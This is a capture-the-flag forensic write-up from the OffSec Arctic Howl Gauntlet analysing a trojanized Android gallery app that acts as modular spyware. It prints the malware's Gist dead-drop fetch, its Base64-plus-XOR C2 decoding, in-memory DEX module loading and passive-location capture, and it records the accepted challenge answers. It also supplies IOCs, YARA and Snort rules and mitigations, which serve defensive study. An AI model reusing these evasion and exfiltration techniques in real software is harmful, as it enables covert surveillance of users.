// CLASSIFIED — OPERATIONAL REPORT //

ARCTIC HOWL

THE CASCADE EXPANSE — SEASON 2

FORENSIC INVESTIGATION REPORT

WEEK 2 — EXPANSE SURVEYOR

OPERATION	:	Cascade Expanse — Android Spyware Investigation
EVENT	:	OffSec Arctic Howl Gauntlet | March 4 – April 1, 2026
WEEK	:	Week 2 — Expanse Surveyor (60 pts)
STATUS	:	COMPLETED ✓ | SCORE: 7/7 | 60 / 60 Points
CATEGORY	:	Android Malware · APK Forensics · Network Analysis
REPORT DATE	:	March 18, 2026
AUTHOR	:	Tamil05t — Tundra Realm Division
DIFFICULTY	:	Intermediate

OFFSEC PLATFORM · GAUNTLET SEASON 2 · TLP:WHITE

TABLE OF CONTENTS

01 — Executive Summary 3
02 — Event Background & Scenario 3
03 — Tools & Methodology 4
04 — Step-by-Step Walkthrough 4
Q1 — C2 Address Discovery & Source File 4
Q2 — C2 Address Decoding Steps 5
Q3 — Post-Infection Reconnaissance 5
Q4 — Dynamic Endpoint Selection 6
Q5 — Large Request Contents & Extracted Files 7
Q6 — LocationTracker Repeated Payload8
Q7 — Root Cause of Location Anomaly 8
05 — Complete Infection Timeline 9
06 — Malware Module Architecture 10
07 — Flags & Proof of Completion 10
08 — Indicators of Compromise 11
09 — MITRE ATT&CK Mapping 12
10 — Detection Rules 12
11 — Lessons Learned 13
12 — Conclusion 13

01 — EXECUTIVE SUMMARY

This report documents the forensic analysis of a trojanized Android application — Research Gallery — deployed against a target known as the Expanse Surveyor during the OffSec Arctic Howl Gauntlet Season 2, Week 2 challenge. The malware was a sophisticated modular Remote Access Trojan (RAT) using a GitHub Gist dead-drop to resolve its true C2 address, defeating static analysis and domain-blocklist defences.

The malware employed a multi-layer decoding chain — Base64 decoded 15 times then XOR'd with the key 'blastoise' — to conceal its C2. All espionage capabilities were delivered as dynamically-loaded DEX payloads via InMemoryDexClassLoader, meaning the base APK contained no malicious code. Three sequential modules were deployed: file system recon, media exfiltration, and persistent location tracking that exploited Android's PASSIVE_PROVIDER to bypass background location permissions.

Field	Details
Event	OffSec Arctic Howl — Gauntlet Season 2
Challenge	Week 2 — Expanse Surveyor
Points	60 / 60 (7/7 Questions Correct)
Category	Android Malware · APK Forensics · Network Analysis
Target Device	Android (quarantined post-infection)
Threat Class	Modular C2-Driven RAT / Android Spyware
C2 Dead-Drop	GitHub Gist (gist.githubusercontent.com/0wizlr/...)
C2 Domain	446d9f29543f.ngrok-free.app (ngrok relay)
XOR Key	blastoise
B64 Iterations	15×
Report Date	March 18, 2026
Analyst Rank	#167 (3,000+ registered players)

Key Findings at a Glance

Question	Answer Summary
Q1 — C2 Discovery	GitHub Gist dead-drop → 446d9f29543f.ngrok-free.app · PeriodicTaskManager.java
Q2 — Decoding Chain	Fetch Gist → Base64 ×15 → XOR 'blastoise' → real C2 URL
Q3 — Reconnaissance	FileScanner → DCIM/Docs/Downloads · Files: 20251013_170000.JPG, 20251012_214700.mp4, c8750f0d.0
Q4 — Endpoint Selection	C2 pushes DEX via GET /cdn/assets; executed by InMemoryDexClassLoader
Q5 — Large Requests	POST /api/backup/chunk: JPG ~623 KB (Las Vegas, Sony) + MP4 ~34 MB (Las Vegas, Samsung)
Q6 — Repeated Payload	LocationTracker ×15 — GPS/cell/WiFi; insistent due to no_last_known_location failures
Q7 — Anomaly Cause	No ACCESS_BACKGROUND_LOCATION; PASSIVE_PROVIDER; GPS window from YouTube

02 — EVENT BACKGROUND & SCENARIO

Incident Scenario

Returning from a foreign realm, the Expanse Surveyor installed the Research Gallery application on his Android device to organize expedition findings. Within 48 hours of reconnecting to the home network, anomalous outbound connections appeared at irregular intervals. The device was immediately quarantined and forensic artifacts — the APK and network HAR capture — were preserved for analysis.

Attribute	Value
Target Device	Android (model undisclosed)
Application	Research Gallery (trojanized APK based on Fossify Gallery)
Trigger	Anomalous outbound HTTPS connections 48h post-installation
Artifacts	capture.har (network traffic) + ResearchGallery.apk
Threat Class	Android Spyware — Modular C2-Directed RAT
C2 Mechanism	GitHub Gist dead-drop resolves ngrok-tunneled C2 address

03 — TOOLS & METHODOLOGY

Tool	Purpose
jadx	APK decompilation to readable Java source code
apktool	APK unpacking — smali bytecode level inspection
Wireshark / HAR Viewer	Network traffic analysis (HTTP Archive format)
Python 3	Base64 ×15 + XOR decoding script automation
ExifTool	EXIF/GPS metadata extraction from exfiltrated media
protoc	Protobuf DEX payload parsing and reconstruction
dex2jar	DEX to JAR conversion for module analysis
Kali Linux VM	Isolated analysis sandbox — no live C2 connections
grep / find	Java source pattern matching and artifact hunting

7-Phase Methodology

1. APK Static Analysis — jadx decompile; identify injected classes vs legitimate Fossify Gallery source.
2. Network Traffic Triage — HAR analysis; external domains, payload sizes, timing.
3. Dead-Drop Resolution — fetch Gist; execute Base64 ×15 + XOR to recover C2 URL.
4. DEX Module Extraction — recover protobuf-wrapped DEX from /cdn/assets responses.
5. Module Behavioral Analysis — reverse FileScanner, MetaDataParser, LocationTracker.
6. Exfiltrated Data Recovery — reconstruct media files from /api/backup/chunk POST bodies.
7. IOC Extraction & Detection Engineering — YARA, Sigma, Snort rules authored.

04 — STEP-BY-STEP WALKTHROUGH

Question 1 — C2 Address Discovery & Source File

QUESTION: Analyze the traffic in the .har file and decompile the .apk file. How does the malware obtain the C2 address? What is the domain? What source file contains the malicious code?

```
Q1 ACCEPTED: Dead-drop:
gist.githubusercontent.com/0wizlr/a2e4ba3849d1366678c2df925ee2cc4e/raw?file=gistfile1.txt  |
C2: 446d9f29543f.ngrok-free.app  |  File: org/fossify/gallery/helpers/PeriodicTaskManager.java
```

Dead-Drop Discovery

Decompiling with jadx revealed malicious code injected into the helpers/ package of the legitimate Fossify Gallery app. PeriodicTaskManager.java contained two key methods: fetchServerUrl() contacting the GitHub Gist, and parse() decoding the response to the real C2 address.

```
jadx -d output/ ResearchGallery.apk
find output/ -name "*.java" | xargs grep -l "gist.githubusercontent"
# Result: org/fossify/gallery/helpers/PeriodicTaskManager.java

// fetchServerUrl() contacts the Gist on every polling cycle
URL url = new URL("https://gist.githubusercontent.com/0wizlr/" +
    "a2e4ba3849d1366678c2df925ee2cc4e/raw?file=gistfile1.txt");
return reader.readLine(); // returns 3856-char encoded string
```

Dead-Drop Benefit	Detail
Legitimate domain	gist.githubusercontent.com bypasses all domain blocklists
Updatable C2	Attacker can change C2 without publishing a new APK
No hardcoded C2	Static APK analysis reveals nothing about real infrastructure
ngrok relay	True server IP never exposed in any traffic capture

Question 2 — C2 Address Decoding Steps

QUESTION: What are the steps the malware uses to decode the real C2 address?

```
Q2 ACCEPTED: 1. Fetch Gist (3856-char string)  2. Base64 decode x15 (smali: const/16 v3, 0xf)
3. XOR each byte with repeating key 'blastoise' [0x62,0x6c,0x61,0x73,0x74,0x6f,0x69,0x73,0x65]
4. Result: https://446d9f29543f.ngrok-free.app/cdn/assets
```

Full Decoding Chain

```
GitHub Gist response (3856-char encoded string)
  → base64 -d  ×1
  → base64 -d  ×2  ...  (15 total — smali: const/16 v3, 0xf)
  → base64 -d  ×15
  → XOR each byte with 'blastoise'
     int[] key = {0x62,0x6c,0x61,0x73,0x74,0x6f,0x69,0x73,0x65}
  → https://446d9f29543f.ngrok-free.app/cdn/assets

# Python reconstruction:
for _ in range(15): data = base64.b64decode(data)
key = b'blastoise'
result = bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
```

Question 3 — Post-Infection Reconnaissance

QUESTION: What type of reconnaissance did the malware perform? List at least two specific filenames discovered.

Q3 ACCEPTED: FileScanner (com.media.scanner.FileScanner) scans DCIM, Documents, Download → POST /telemetry/inventory. Files: 20251013_170000.JPG | 20251012_214700.mp4 | c8750f0d.0

FileScanner Module

The first DEX module delivered performed directory enumeration across high-value Android storage paths, building a file inventory for the C2 operator to cherry-pick targets for subsequent exfiltration.

File Discovered	Intelligence Value
20251013_170000.JPG	High-resolution image — likely GPS-tagged with victim location
20251012_214700.mp4	Video recording — large file, high surveillance value
c8750f0d.0	Certificate/key file (.0 = PEM/DER format) — credential theft potential

Question 4 — Dynamic Endpoint Selection

QUESTION: How does the application know which endpoint to call at what moment?

Q4 ACCEPTED: C2 server controls which module runs. GET /cdn/assets returns protobuf-wrapped DEX. Server selects module (FileScanner → MetaDataParser → LocationTracker). App executes via InMemoryDexClassLoader. Each module has its own hardcoded exfil endpoint.

Server-Directed Architecture

```
// PeriodicTaskManager — polling loop
public void run() {
    byte[] dexBytes = fetchModuleFromC2(); // GET /cdn/assets
    if (dexBytes != null) { executeModule(dexBytes); }
}
private void executeModule(byte[] dexBytes) {
    InMemoryDexClassLoader loader = new InMemoryDexClassLoader(
        ByteBuffer.wrap(dexBytes), getClass().getClassLoader());
    Class<?> cls = loader.loadClass("com.module.EntryPoint");
    ((Runnable) cls.newInstance()).run();
}
```

Module	Package	Hardcoded Endpoint
FileScanner	com.media.scanner	POST /telemetry/inventory
MetaDataParser	com.media.geotagger	POST /api/backup/chunk
LocationTracker	com.system.location	POST /api/location/update

Question 5 — Large Request Contents & Extracted Files

QUESTION: What are the contents of those large requests? If there are files, extract them and describe them.

```
Q5 ACCEPTED: MetaDataParser sent 3 POST /api/backup/chunk. Req 1&3 (duplicate):
20251013_170000.JPG 638,751B Sony XQ-BC62 GPS 36deg6'7.24N 115deg10'36.12W Las Vegas f/1.7 ISO
64 1/2500s. Req 2: 20251012_214700.mp4 35,809,801B Samsung S24 Ultra GPS 36deg6'14.76N
115deg10'29.64W 1920x1080 H.265 30fps. Duplicate via Random.nextInt(2) collision.
IMAGE_EXTENSIONS includes .mp4.
```

File 1 — 20251013_170000.JPG

EXIF Attribute	Value
File Size	638,751 bytes (~623 KB)
Camera	Sony XQ-BC62 (Xperia 5 IV)
Aperture / ISO / Shutter	f/1.7 | ISO 64 | 1/2500s
Timestamp	2025-10-13 17:00:00
GPS	36°6'7.24" N 115°10'36.12" W — Las Vegas, Nevada

File 2 — 20251012_214700.mp4

Metadata Attribute	Value
File Size	35,809,801 bytes (~34.16 MB)
Camera	Samsung Galaxy S24 Ultra (SM-S928U1)
Resolution / Codec	1920×1080 | H.265 (HEVC) | 30 fps
Timestamp	2025-10-12 21:47:00
GPS	36°6'14.76" N 115°10'29.64" W — Las Vegas, NV (~200m from JPG)

Two different source devices (Sony + Samsung) at the same Las Vegas location within 24 hours indicates multiple victims or shared expedition documentation. Duplicate JPG upload caused by Random.nextInt(2) collision (50% chance with only 2 files). MetaDataParser's IMAGE_EXTENSIONS array includes .mp4, enabling video exfiltration alongside images.

Question 6 — LocationTracker: Repeated Payload Analysis

QUESTION: What data is this payload collecting and why does it seem to be so insistent?

```
Q6 ACCEPTED: LocationTracker (com.system.location.LocationTracker) executed 15 times.
Collects: GPS coords, carrier (T-Mobile/GSM), cell network IDs, WiFi BSSID/SSID, locale (en-
US). Insistent because most attempts returned no_last_known_location. Only 3/15 succeeded
(~36.1N, 115.17W). C2 operator kept re-issuing until precise GPS confirmed.
```

Attempt	Timestamp	Result	Detail
1–12	T+0:20–T+0:50	FAILED	no_last_known_location — GPS inactive
13	20:45:20Z	SUCCESS	YouTube opened → GPS activated → PASSIVE_PROVIDER fires
14	20:45:50Z	SUCCESS	Second PASSIVE_PROVIDER broadcast captured

Attempt	Timestamp	Result	Detail
15	20:46:20Z	SUCCESS	Third broadcast — ~36.1°N, 115.17°W confirmed
16+	20:46:22Z+	FAILED	Victim closed YouTube — GPS deactivated

Question 7 — Root Cause of Location Anomaly

QUESTION: Why did the anomaly in Q6 occur?

Q7 ACCEPTED: LocationTracker.dex lacks ACCESS_BACKGROUND_LOCATION — cannot activate GPS in background as GeotagService/1.0. Uses PASSIVE_PROVIDER to intercept updates from other apps. 3 captures (20:45:20Z–20:46:20Z) occurred because victim opened YouTube (docid=w3KOowB4k_k) activating foreground GPS. Malware exploited this via PASSIVE_PROVIDER. Retries every 30 seconds waiting for another app to activate GPS.

PASSIVE_PROVIDER Exploitation

```
// What LocationTracker WANTS — BLOCKED:
locationManager.requestLocationUpdates(GPS_PROVIDER, 0, 0, listener);
// FAILS — no ACCESS_BACKGROUND_LOCATION permission

// What it ACTUALLY does — ALLOWED:
locationManager.requestLocationUpdates(PASSIVE_PROVIDER, 0, 0, listener);
// Intercepts GPS broadcasts from OTHER apps — no permission needed

// YouTube opens at 20:45:18Z → YouTube activates GPS hardware
// → Android broadcasts to ALL PASSIVE_PROVIDER listeners
// → LocationTracker captures location at 20:45:20Z  ← SUCCESS
```

This is a living-off-the-land technique at the OS level — exploiting trusted app behavior rather than requesting dangerous permissions. Invisible to standard permission auditing and static analysis.

05 — COMPLETE INFECTION TIMELINE

Phase 1 — Installation & C2 Resolution

Time	Stage	Action	Detail
T+0:00	Install	APK installed	Research Gallery installed by victim
T+0:01	Service	Background service starts	PeriodicTaskManager polling begins
T+0:02	Dead-drop	GitHub Gist fetched	3856-char encoded string retrieved
T+0:04	Decode	C2 resolved	Base64 ×15 → XOR blastoise → C2 URL

Phase 2 — Module 1: FileScanner

Time	Stage	Action	Detail
T+0:05	C2 Poll	GET /cdn/assets	FileScanner DEX received (protobuf)
T+0:06	Load	InMemoryDexClassLoader	com.media.scanner.FileScanner loaded
T+0:07	Recon	Directory enumeration	DCIM, Documents, Downloads scanned
T+0:08	Exfil	POST /telemetry/inventory	3 files inventoried and sent to C2

Phase 3 — Module 2: MetaDataParser

Time	Stage	Action	Detail
T+0:10	C2 Poll	GET /cdn/assets	MetaDataParser DEX received
T+0:12	Select	findRandomImage()	20251013_170000.JPG selected (638 KB)
T+0:13	Upload	POST /api/backup/chunk #1	JPG uploaded — Sony, Las Vegas GPS
T+0:14	Select	findRandomImage()	20251012_214700.mp4 selected (34 MB)
T+0:15	Upload	POST /api/backup/chunk #2	MP4 uploaded — Samsung, Las Vegas GPS
T+0:17	Upload	POST /api/backup/chunk #3	Duplicate JPG — Random.nextInt collision

Phase 4 — Module 3: LocationTracker (×15)

Phase 5 — Quarantine

Time	Event
T+48h	Home network IDS flags anomalous HTTPS connections
T+48h	Irregular interval pulsing detected — no known service match
T+48h+1	Alert escalated — device quarantined from network
T+48h+2	Forensic preservation: APK and HAR artifacts captured

06 — MALWARE MODULE ARCHITECTURE

Module	Package	Delivery	Exfil Endpoint
FileScanner	com.media.scanner	DEX via /cdn/assets	POST /telemetry/inventory
MetaDataParser	com.media.geotagger	DEX via /cdn/assets	POST /api/backup/chunk
LocationTracker	com.system.location	DEX via /cdn/assets	POST /api/location/update

C2 Infrastructure

Attribute	Value
Dead-Drop URL	https://gist.githubusercontent.com/0wizlr/a2e4ba3849d1366678c2df925ee2cc4e/raw
C2 Domain	446d9f29543f.ngrok-free.app
C2 Relay	ngrok (true server IP never exposed)
Protocol / Port	HTTPS / 443
XOR Key	blastoise
B64 Iterations	15×

07 — FLAGS & PROOF OF COMPLETION

All seven challenge questions were answered correctly with a perfect score of 60/60. Accepted answers recorded verbatim below.

Q1 ACCEPTED: The malware uses a GitHub Gist as a dead-drop to obtain the C2 address: https://gist.githubusercontent.com/0wizlr/a2e4ba3849d1366678c2df925ee2cc4e/raw?file=gistfile1.txt | C2: 446d9f29543f.ngrok-free.app | Source: org/fossify/gallery/helpers/PeriodicTaskManager.java (fetchServerUrl() and parse())

Q2 ACCEPTED: 1. Fetch Gist (3856-char string) 2. Base64 ×15 (smali: const/16 v3, 0xf) 3. XOR with 'blastoise' [0x62,0x6c,0x61,0x73,0x74,0x6f,0x69,0x73,0x65] 4. https://446d9f29543f.ngrok-free.app/cdn/assets

Q3 ACCEPTED: FileScanner (com.media.scanner.FileScanner) scans DCIM, Documents, Download → POST /telemetry/inventory. Files: 20251013_170000.JPG | 20251012_214700.mp4 | c8750f0d.0

Q4 ACCEPTED: C2 controls which module runs. GET /cdn/assets returns protobuf DEX. Server selects module (FileScanner → MetaDataParser → LocationTracker). App executes via InMemoryDexClassLoader. Each module has its own hardcoded exfil endpoint.

Q5 ACCEPTED: MetaDataParser sent 3 POST /api/backup/chunk. Req 1&3: 20251013_170000.JPG 638,751B Sony XQ-BC62 GPS 36deg6'7.24N 115deg10'36.12W Las Vegas f/1.7 ISO64 1/2500s. Req 2: 20251012_214700.mp4 35,809,801B Samsung S24 Ultra GPS 36deg6'14.76N 115deg10'29.64W 1920x1080 H.265 30fps. Duplicate via Random.nextInt(2). IMAGE_EXTENSIONS includes .mp4.

Q6 ACCEPTED: LocationTracker (com.system.location.LocationTracker) executed 15 times. Collects: GPS, carrier (T-Mobile/GSM), cell IDs, WiFi, locale (en-US). Insistent because most returned no_last_known_location. Only 3/15 succeeded (~36.1N 115.17W). C2 kept re-issuing until GPS confirmed.

Q7 ACCEPTED: LocationTracker.dex lacks ACCESS_BACKGROUND_LOCATION — cannot activate GPS in background as GeotagService/1.0. Uses PASSIVE_PROVIDER to monitor updates from other apps. 3 captures (20:45:20Z–20:46:20Z) from YouTube (docid=w3KOowB4k_k) activating GPS. Retries every 30s waiting for another app to activate GPS.

Metric	Result
Total Questions	7
Correct Answers	7
Score	60 / 60 points
Event Rank	#167 of 3,000+ players
Cumulative Points	155 points | 18 flags
Challenge Status	COMPLETED ✓

08 — INDICATORS OF COMPROMISE (IOCs)

Network Indicators

IOC Type	Value
Dead-drop URL	gist.githubusercontent.com/0wizlr/a2e4ba3849d1366678c2df925ee2cc4e/raw
C2 Domain	446d9f29543f.ngrok-free.app
Protocol / Port	HTTPS / 443
HTTP Pattern	GET /cdn/assets — module polling
HTTP Pattern	POST /telemetry/inventory — file recon
HTTP Pattern	POST /api/backup/chunk — media exfiltration
HTTP Pattern	POST /api/location/update — GPS data (repeated ×15)

Application Indicators

Indicator	Value
Malicious Class	org.fossify.gallery.helpers.PeriodicTaskManager
Module 1	com.media.scanner.FileScanner
Module 2	com.media.geotagger.MetaDataParser
Module 3	com.system.location.LocationTracker
Background Service	GeotagService/1.0
XOR Key	blastoise
Smali Signature	const/16 v3, 0xf in PeriodicTaskManager

Behavioral Indicators

Behavior	Detection Signal
Gallery app contacts gist.githubusercontent.com on launch	No legitimate gallery needs Gist access
InMemoryDexClassLoader invoked at runtime	Dynamic code loading — critical risk indicator
PASSIVE_PROVIDER location listener registered	Location capability with no visible permission
Large HTTP POST (30+ MB) from gallery app	Media exfiltration in progress
Repeated POST /api/location/update every 30s	Persistent surveillance behavior

09 — MITRE ATT&CK MAPPING

ID	Technique	Observed Behavior
T1481.003	Dead Drop Resolver	GitHub Gist resolves true C2 address
T1027	Obfuscated Files	Base64 ×15 + XOR 'blastoise'
T1406	Obfuscated Files (Android)	DEX payloads wrapped in protobuf
T1407	Download New Code at Runtime	InMemoryDexClassLoader loads C2 modules
T1624.001	Event Triggered Execution	PASSIVE_PROVIDER exploits other apps' GPS
T1533	Data from Local System	FileScanner enumerates DCIM/Docs/Downloads
T1417	Input Capture / Location	LocationTracker: GPS, cell, WiFi data
T1646	Exfiltration Over C2	All data via HTTPS POST to C2 endpoints
T1436	Commonly Used Port	HTTPS 443 for all C2 communications

10 — DETECTION RULES

YARA

```
rule Android_DeadDrop_GistResolver {
    meta:
        description = "Detects Android malware using GitHub Gist as C2 dead-drop"
        author      = "Tamil05t — Arctic Howl S2"
    strings:
        $gist     = "gist.githubusercontent.com"
        $xor_key  = "blastoise"
        $passive  = "PASSIVE_PROVIDER"
        $dex_load = "InMemoryDexClassLoader"
        $c2_recon = "/telemetry/inventory"
    condition:
        3 of them
}
```

Snort

```
# Detect Gist dead-drop resolution
alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (
    msg:"MALWARE Android Gallery GitHub Gist Dead-Drop";
    content:"gist.githubusercontent.com"; nocase;
    content:"GET"; http_method; content:"/raw"; http_uri;
    classtype:trojan-activity; sid:2000001; rev:1;
)
# Detect persistent location polling
alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (
    msg:"MALWARE Android Persistent Location Polling";
    content:"/api/location/update"; http_uri;
    threshold:type both,track by_src,count 5,seconds 300;
    classtype:policy-violation; sid:2000002; rev:1;
)
```

11 — LESSONS LEARNED & RECOMMENDATIONS

Attacker Tradecraft

- GitHub Gist dead-drop completely defeats static domain blocklisting — legitimate CDN, attacker-controlled content.
- 15× Base64 + XOR defeats all automated multi-pass decoders — custom scheme requires manual source analysis.
- InMemoryDexClassLoader — base APK contains zero malicious code; passes Play Store and VirusTotal scans.
- PASSIVE_PROVIDER exploitation bypasses Android permission model without triggering any permission alerts.

Recommended Mitigations

Priority	Action
CRITICAL	Deploy Mobile EDR — alert on InMemoryDexClassLoader from non-system apps
CRITICAL	Block gist.githubusercontent.com from non-developer mobile devices
HIGH	DNS monitoring and blocking for ngrok-free.app wildcard subdomains
HIGH	Alert on repeated POST /api/location/update patterns
MEDIUM	Enforce app allowlisting — prevent sideloaded APK installation

12 — CONCLUSION

Week 2 represented a significant complexity escalation — moving to full Android APK reverse engineering combined with network traffic analysis. The challenge required reversing a custom two-stage decoding scheme, extracting and analyzing dynamically-loaded espionage modules, recovering exfiltrated media files with GPS metadata, and understanding a nuanced Android permission exploitation technique. All seven questions were answered correctly with a perfect score of 60/60.

Objective	Status
Identify C2 discovery mechanism and dead-drop URL	ACHIEVED ✓
Reverse multi-layer decoding chain (Base64 ×15 + XOR)	ACHIEVED ✓
Map file system reconnaissance scope and filenames	ACHIEVED ✓
Understand server-directed DEX module execution	ACHIEVED ✓
Extract and describe exfiltrated media files with GPS	ACHIEVED ✓
Analyze LocationTracker persistence and retry behavior	ACHIEVED ✓
Identify PASSIVE_PROVIDER exploitation root cause	ACHIEVED ✓

WEEK 2 — EXPANSE SURVEYOR — COMPLETE ✓ | 7/7 | 60 PTS

Report: March 18, 2026 · OffSec Arctic Howl Gauntlet S2 · TLP:WHITE